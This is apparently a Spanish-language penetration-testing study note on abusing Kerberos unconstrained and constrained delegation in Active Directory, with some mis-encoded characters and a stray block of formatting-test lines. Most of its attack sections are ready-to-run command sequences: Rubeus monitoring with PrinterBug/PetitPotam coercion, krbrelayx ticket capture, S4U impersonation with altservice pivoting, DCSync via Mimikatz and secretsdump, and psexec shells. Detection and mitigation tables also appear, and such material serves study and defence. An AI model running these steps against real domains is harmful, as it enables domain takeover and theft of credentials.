ποΈ Kerberos Delegation Abuse β Unconstrained & Constrained
Fuentes: The Hacker Recipes Β· ired.team Β· Black Hills InfoSec Β· GuidePoint Security Β· Redfox Cybersecurity
πΊοΈ Mapa mental de los tres tipos de delegaciΓ³n
Unconstrained Delegation (KUD)
βββ Cualquier usuario β cualquier servicio β MΓS PELIGROSA
βββ Atributo: TRUSTED_FOR_DELEGATION (UAC)
Constrained Delegation (KCD)
βββ Cualquier usuario β SPNs especΓficos
βββ Atributo: msDS-AllowedToDelegateTo
βββ Modalidades: Kerberos-only / Protocol Transition
Resource-Based Constrained Delegation (RBCD)
βββ El recurso DESTINO decide quiΓ©n puede delegar a Γ©l
βββ Atributo: msDS-AllowedToActOnBehalfOfOtherIdentity
βββ (Ver nota: [[8__Ataques_avanzados_de_relay_NTLM_a_Kerberos]])
β οΈ Caveat universal: Los usuarios marcados como “Account is sensitive and cannot be delegated” (
NOT_DELEGATEDen UAC) y los miembros de Protected Users no pueden ser suplantados mediante ningΓΊn tipo de delegaciΓ³n. La excepciΓ³n es la cuenta nativa Administrator (RID 500), que sΓ puede ser suplantada aunque estΓ© en Protected Users.
π PARTE 1 β Unconstrained Delegation
π ΒΏQuΓ© es y por quΓ© existe?
La DelegaciΓ³n sin Restricciones fue introducida en Windows 2000 para resolver el problema del double-hop: cuando un usuario accede a un servidor web, ese servidor necesita acceder a una base de datos en nombre del usuario. La soluciΓ³n de Microsoft fue sencilla (y peligrosa): dejar que el servidor web guarde el TGT completo del usuario y lo reutilice a voluntad.
MetΓ‘fora: Imagina que le das la llave maestra de tu casa a un portero. El portero no solo puede abrir la puerta de entrada; puede ir a cualquier habitaciΓ³n de tu casa, a la de tu vecino, o a donde quiera. No hay lΓmites. Eso es KUD.
βοΈ Flujo de autenticaciΓ³n legΓtimo (cΓ³mo funciona por dentro)
[Usuario] [KDC / DC] [Servidor con KUD]
β β β
βββ AS-REQ βββββββββββββββΊβ β
ββββ AS-REP (TGT) βββββββββ β
β β β
βββ TGS-REQ (para servidor KUD) βββββββββββββββΊβ β
ββββ TGS-REP (ST con TGT FORWARDABLE adjunto) ββ β
β β β
βββ ST + TGT ββββββββββββββββββββββββββββββββββββββββββΊβ
β β [Guarda TGT en LSASS]
β β [Puede pedir TGS para cualquier
β β servicio como si fuera el usuario]
El campo crΓtico es el flag forwardable en el ST: el KDC lo incluye automΓ‘ticamente cuando el destino tiene TRUSTED_FOR_DELEGATION. El servidor receptor almacena ese TGT en LSASS y puede reutilizarlo sin restricciones.
π FASE 1 β Reconocimiento / EnumeraciΓ³n
Objetivo: Encontrar hosts con TRUSTED_FOR_DELEGATION = True (excepto DCs, que siempre lo tienen).
π§ Linux
# Con BloodHound-python (recolectar y buscar en BloodHound)
bloodhound-python -u 'user' -p 'Password' -d domain.local -dc dc01.domain.local -c All
# Con ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -D "user@domain.local" -w 'Password' -b "DC=domain,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
cn sAMAccountName userAccountControl
# Con impacket findDelegation
findDelegation.py domain.local/user:'Password' -dc-ip 10.10.10.1
524288=0x80000= flagTRUSTED_FOR_DELEGATIONen UAC
Windows
# PowerView β hosts con Unconstrained
Get-DomainComputer -Unconstrained | select Name, dnshostname
# AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $true} `
-Properties TrustedForDelegation, ServicePrincipalName, Description `
| select Name, TrustedForDelegation, ServicePrincipalName
# BloodHound Cypher Query
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name STARTS WITH 'DC'
RETURN c.name
π₯ FASE 2 β ExplotaciΓ³n: TGT Harvesting + CoerciΓ³n
Premisa: Se ha comprometido un host con KUD habilitado y tienes privilegios de admin local en Γ©l.
Objetivo final: Forzar al DC a autenticarse contra tu host β robar su TGT β DCSync.
MetΓ‘fora: El DC es el rey del castillo. Si consigues que el rey visite tu casa (coerciΓ³n), y tu casa es el “portero mΓ‘gico que guarda llaves” (KUD), te quedas con la llave maestra del reino (TGT del DC$).
π― Escenario A β Windows: Rubeus Monitor + PrinterBug / PetitPotam
# [PASO 1] En el host comprometido (admin): monitorear TGTs entrantes
.\Rubeus.exe monitor /interval:5 /nowrap
# [PASO 2] Desde mΓ‘quina atacante: coercionar al DC para que se autentique
# OpciΓ³n A β PrinterBug (MS-RPRN) β requiere credenciales vΓ‘lidas
.\SpoolSample.exe DC01.domain.local HOST-KUD.domain.local
# OpciΓ³n B β PetitPotam (MS-EFSR) β puede funcionar sin credenciales
.\PetitPotam.exe HOST-KUD.domain.local DC01.domain.local
# [PASO 3] Rubeus captura el TGT del DC$ automΓ‘ticamente
# Copiar el base64 del ticket y hacer Pass-the-Ticket
.\Rubeus.exe ptt /ticket:<base64_ticket>
# [PASO 4] DCSync con Mimikatz
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" exit
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
# [ALTERNATIVA] Dump de todos los tickets en LSASS
.\Rubeus.exe dump /nowrap
# o con Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
π― Escenario B β Linux: krbrelayx + addspn + dnstool
Fuente: The Hacker Recipes β KUD
Este escenario aplica cuando el atacante opera desde Linux y tiene las credenciales del host con KUD (o la cuenta de usuario con KUD habilitado).
# [PASO 1] AΓ±adir SPN a la cuenta comprometida con KUD
# (requiere que la cuenta pueda editar msDS-AdditionalDnsHostName)
addspn.py -u 'domain\kudcomputer$' -p 'Password' \
-s HOST/attacker.domain.local \
dc01.domain.local
# [PASO 2] AΓ±adir registro DNS apuntando a tu IP
dnstool.py -u 'domain\kudcomputer$' -p 'Password' \
-r attacker.domain.local -d 10.10.10.50 --action add \
dc01.domain.local
# [PASO 3] Levantar krbrelayx para capturar TGTs
sudo krbrelayx.py --krbsalt 'DOMAIN.LOCALkudcomputer$' --krbpass 'Password'
# [PASO 4] Coercionar autenticaciΓ³n del DC hacia tu SPN
# PrinterBug
python3 printerbug.py domain.local/user:'Password'@DC01.domain.local attacker.domain.local
# PetitPotam
python3 PetitPotam.py -u user -p 'Password' attacker.domain.local DC01.domain.local
# [PASO 5] krbrelayx captura el TGT del DC$ como archivo .ccache
# Exportar y usar para DCSync
export KRB5CCNAME=DC01\$.ccache
secretsdump.py -k -no-pass -just-dc dc01.domain.local
π Resumen del flujo de ataque KUD
[1] Enumerar hosts KUD
β
[2] Comprometer host KUD (necesitas admin local)
β
[3] Monitorear LSASS / levantar krbrelayx
β
[4] Coercionar DC (PrinterBug / PetitPotam / DFSCoerce)
β
[5] DC$ se autentica β su TGT queda capturado
β
[6] Pass-the-Ticket con TGT del DC$
β
[7] DCSync β hash del krbtgt / Administrator
β
[8] Golden Ticket / Domain Admin total
π‘οΈ DetecciΓ³n y MitigaciΓ³n (KUD)
| DetecciΓ³n | MitigaciΓ³n |
|---|---|
Eventos 4768 + 4769 masivos desde un host KUD |
Eliminar KUD de todos los hosts no-DC |
| Acceso a LSASS desde proceso inesperado en host KUD | Habilitar Protected Users en cuentas privilegiadas |
PrinterBug: evento 5145 (RPC) del DC al host KUD |
Deshabilitar Print Spooler en DCs |
| TrΓ‘fico MS-EFSR inusual desde el DC | Marcar cuentas privilegiadas como NOT_DELEGATED |
π PARTE 2 β Constrained Delegation (KCD)
π ΒΏQuΓ© es y por quΓ© mejora KUD?
La DelegaciΓ³n Restringida fue introducida en Windows Server 2003 para limitar el daΓ±o: en lugar de poder suplantar a cualquier usuario hacia cualquier servicio, se define una lista explΓcita de SPNs a los que el servicio puede delegar.
EstΓ‘ configurada mediante el atributo msDS-AllowedToDelegateTo en el objeto de la cuenta (usuario o computadora).
MetΓ‘fora: Ahora el portero no tiene la llave maestra. Tiene llaves especΓficas grabadas en su contrato: solo puede abrir la puerta del comedor y la biblioteca. Si quiere entrar al dormitorio, no puede. En teorΓa.
βοΈ Dos modalidades de KCD β crΓtico entenderlas
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β MODALIDAD 1: Kerberos Only (sin protocol transition) β
β Flag UAC: TRUSTED_TO_AUTH_FOR_DELEGATION = FALSE β
β β
β El usuario DEBE haberse autenticado con Kerberos primero. β
β Flujo: Usuario β TGS al servicio β servicio usa S4U2Proxy β
β LimitaciΓ³n: El servicio NO puede iniciar la suplantaciΓ³n β
β si el usuario no ha interactuado antes β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β MODALIDAD 2: Protocol Transition (Any Auth) β MΓS EXPLOTABLE β
β Flag UAC: TRUSTED_TO_AUTH_FOR_DELEGATION = TRUE β
β β
β El servicio puede iniciar la suplantaciΓ³n de CUALQUIER usuario β
β sin que Γ©ste haya interactuado previamente. β
β Flujo: S4U2Self β S4U2Proxy β
β ExplotaciΓ³n: basta con comprometer la cuenta β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βοΈ Flujo interno β S4U2Self y S4U2Proxy en detalle
[Servicio con KCD] [KDC / DC] [Servicio destino]
β β β
ββ S4U2Self βββββββββββββββββββββββΊβ β
"Dame un TGS de mΓ mismo β β
como si fuera Administrator" β β
βββ TGS (forwardable) βββββββββββββ β
β β β
ββ S4U2Proxy ββββββββββββββββββββββΊβ β
"Usa ese TGS para darme un β β
TGS hacia CIFS/dc.domain.local" β β
βββ TGS para CIFS/dc ββββββββββββββ β
β β β
ββ Presenta TGS βββββββββββββββββββββββββββββββββββββββββββββββΊβ
β β [Accede como Administrator]
[!TIP] S4U2Self (Service for User to Self): El servicio solicita al KDC un TGS para sΓ mismo en nombre de cualquier usuario. El resultado es un TGS
forwardableque acredita al usuario como si hubiera iniciado la sesiΓ³n.
S4U2Proxy (Service for User to Proxy): Usa el TGS obtenido en S4U2Self para solicitar otro TGS hacia un servicio del dominio que estΓ© en la lista
msDS-AllowedToDelegateTo.
[!Tip]
[!Note]
[!WARNING]
[!Info]
[!Danger]
[!Bug]
[!Quote]
[!Tip]+ Esto es una prueba de Tip con +
[!Tip]- Esto es una prueba de Tip con -
[!Warning]+ Esto es una prueba de Tip con +
[!Warning]- Esto es una prueba de Tip con -
[!Note]+ Esto es una prueba de Tip con +
[!Note]- Esto es una prueba de Tip con -
[!Info]+ Esto es una prueba de Tip con +
[!Info]- Esto es una prueba de Tip con -
[!Danger]+ Esto es una prueba de Tip con +
[!Danger]- Esto es una prueba de Tip con -
[!Bug]+ Esto es una prueba de Tip con +
[!Bug]- Esto es una prueba de Tip con -
[!Quote]+ Esto es una prueba de Tip con -
[!Quote]- Esto es una prueba de Tip con -
π FASE 1 β Reconocimiento / EnumeraciΓ³n
π§ Linux
# findDelegation β muestra los tres tipos de delegaciΓ³n
findDelegation.py domain.local/user:'Password' -dc-ip 10.10.10.1
# ldapsearch β cuentas con msDS-AllowedToDelegateTo
ldapsearch -x -H ldap://dc01.domain.local \
-D "user@domain.local" -w 'Password' \
-b "DC=domain,DC=local" \
"(msDS-AllowedToDelegateTo=*)" \
cn sAMAccountName msDS-AllowedToDelegateTo userAccountControl
# BloodHound β recolectar (luego buscar edge AllowedToDelegate)
bloodhound-python -u user -p 'Password' -d domain.local -dc dc01 -c All
πͺ Windows
# PowerView β cuentas de usuario con KCD
Get-DomainUser -TrustedToAuth | select SamAccountName, msDS-AllowedToDelegateTo
# PowerView β cuentas de equipo con KCD
Get-DomainComputer -TrustedToAuth | select Name, msDS-AllowedToDelegateTo
# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
-Properties msDS-AllowedToDelegateTo, UserAccountControl `
| select Name, msDS-AllowedToDelegateTo, UserAccountControl
# BloodHound Cypher β nodos con KCD configurado
MATCH (a)-[r:AllowedToDelegate]->(c:Computer)
RETURN a.name, c.name, r
π₯ FASE 2 β ExplotaciΓ³n
Premisa: Se ha comprometido una cuenta (usuario o computadora) que tiene msDS-AllowedToDelegateTo configurado.
Objetivo: Suplantar a Administrator hacia el SPN permitido β pivotar con altservice β DCSync o shell.
π― Escenario A β Windows: Rubeus S4U
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# ESCENARIO 1: Tienes ejecuciΓ³n como la cuenta, NO sabes la pass
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# [PASO 1] Obtener TGT de la cuenta actual con tgtdeleg
.\Rubeus.exe tgtdeleg /nowrap
# Guardar el base64 del ticket
# [PASO 2] S4U2Self + S4U2Proxy para suplantar Administrator
.\Rubeus.exe s4u /ticket:<base64_TGT> `
/impersonateuser:Administrator `
/msdsspn:"cifs/DC01.domain.local" `
/ptt
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# ESCENARIO 2: Conoces el hash RC4/NTLM de la cuenta
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# [PASO ΓNICO] S4U directo con hash β sin TGT previo
.\Rubeus.exe s4u `
/user:svcAccount `
/rc4:<NTLM_hash> `
/impersonateuser:Administrator `
/msdsspn:"cifs/DC01.domain.local" `
/ptt
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# BONUS: altservice β pivotar a otro servicio
# Si solo tienes delegaciΓ³n a TIME/DC01, cambia a LDAP para DCSync
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Rubeus.exe s4u `
/user:svcAccount `
/rc4:<NTLM_hash> `
/impersonateuser:Administrator `
/msdsspn:"time/DC01.domain.local" `
/altservice:ldap `
/ptt
# Con el ticket LDAP en memoria, DCSync desde Mimikatz
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
β‘ ΒΏPor quΓ© funciona
/altservice? El KDC no verifica la coherencia entre el SPN del TGS obtenido vΓa S4U2Proxy y el servicio real presentado. Puedes obtener un ticket paratime/DC01y cambiar el service name en el ticket aldap. El servicio LDAP del DC lo acepta porque el PAC sigue siendo vΓ‘lido y firmado por el KDC.
π― Escenario B β Linux: getST.py de Impacket
Fuente: Black Hills InfoSec β Abusing Delegation with Impacket
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Con contraseΓ±a en texto claro
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
getST.py -spn 'cifs/DC01.domain.local' \
-impersonate Administrator \
-dc-ip 10.10.10.1 \
'domain.local/svcAccount:Password'
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Con hash NTLM (pass-the-hash)
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
getST.py -spn 'cifs/DC01.domain.local' \
-impersonate Administrator \
-dc-ip 10.10.10.1 \
-hashes :NTLM_hash \
'domain.local/svcAccount'
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# altservice β pivotar a LDAP para DCSync
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
getST.py -spn 'time/DC01.domain.local' \
-altservice ldap \
-impersonate Administrator \
-dc-ip 10.10.10.1 \
'domain.local/svcAccount:Password'
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Usar el ticket obtenido
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
export KRB5CCNAME=Administrator.ccache
# Verificar ticket
klist
# Acceso SMB/CIFS al DC
psexec.py -k -no-pass DC01.domain.local
# DCSync si usaste altservice LDAP
secretsdump.py -k -no-pass -just-dc-user krbtgt DC01.domain.local
π Tabla de altservice ΓΊtiles
| SPN original permitido | β altservice | Capacidad obtenida |
|---|---|---|
cifs/dc.domain.local |
http |
WinRM / PowerShell Remoting |
time/dc.domain.local |
ldap |
DCSync (replicaciΓ³n NTDS) |
mssqlsvc/... |
host |
PsExec / shell interactiva |
ldap/dc.domain.local |
cifs |
Acceso SMB al DC |
| Cualquiera | ldap |
DCSync β Golden Ticket |
π Resumen del flujo de ataque KCD
[1] Enumerar cuentas/hosts con msDS-AllowedToDelegateTo
β
[2] Comprometer cuenta KCD (contraseΓ±a, hash, o sesiΓ³n activa)
β
[3] S4U2Self β obtener TGS como Administrator para el servicio propio
β
[4] S4U2Proxy β usar ese TGS para pedir acceso al SPN permitido
β
[5] (Opcional) altservice β cambiar servicio a LDAP / HOST / HTTP
β
[6] Usar ticket para: PSExec / WinRM / DCSync
β
[7] Domain Compromise
π‘οΈ DetecciΓ³n y MitigaciΓ³n (KCD)
| DetecciΓ³n | MitigaciΓ³n |
|---|---|
Eventos 4769 con ServiceName inusual para cuentas de servicio |
Revisar y minimizar la lista msDS-AllowedToDelegateTo |
| TGS solicitados para SPNs fuera del flujo normal de la app | Marcar cuentas privilegiadas como NOT_DELEGATED |
4648 β logon con credenciales explΓcitas desde proceso inesperado |
Preferir RBCD sobre KCD cuando sea posible |
| Acceso LDAP/DCSync desde mΓ‘quina inesperada | ContraseΓ±as fuertes en cuentas de servicio (>25 chars) |
| Kerberoasting del account de servicio (tiene SPN β es objetivo) | Usar Group Managed Service Accounts (gMSA) |
βοΈ Comparativa Final
| CaracterΓstica | KUD (Unconstrained) | KCD (Constrained) | RBCD |
|---|---|---|---|
| Introducida en | Windows 2000 | Windows Server 2003 | Windows Server 2012 R2 |
| Atributo clave | TRUSTED_FOR_DELEGATION |
msDS-AllowedToDelegateTo |
msDS-AllowedToActOnBehalfOfOtherIdentity |
| Alcance | Cualquier servicio | SPNs especΓficos | SPNs especΓficos (definido en destino) |
| QuiΓ©n configura | Admin de dominio | Admin de dominio | Propietario del recurso |
| Mecanismo | Forwarding del TGT | S4U2Self + S4U2Proxy | S4U2Self + S4U2Proxy |
| Requiere admin local | β SΓ (para extraer TGTs) | β SΓ (o credenciales) | β οΈ No siempre |
| Peligrosidad | π΄ CrΓtica | π Alta | π‘ Alta (depende del contexto) |
| CoerciΓ³n necesaria | β SΓ (para DC TGT) | β No | β No |
| altservice bypass | N/A | β SΓ | β SΓ |
π Referencias y lectura adicional
- The Hacker Recipes β KUD
- The Hacker Recipes β KCD
- ired.team β Unconstrained Delegation
- ired.team β Constrained Delegation
- GuidePoint Security β Delegating like a Boss
- Black Hills InfoSec β Abusing Delegation with Impacket
- harmj0y β The Most Dangerous User Right
- dirkjanm β krbrelayx: Unconstrained Delegation abuse toolkit
- elad_shamir β Wagging the Dog (RBCD)
Relacionado: [[8__Ataques_avanzados_de_relay_NTLM_a_Kerberos]] Β· [[14__Problema_del__Doble_Salto__de_Kerberos]] Β· [[11__Kerberoasting]] Β· [[7__AutenticaciΓ³n_por_CoerciΓ³n]]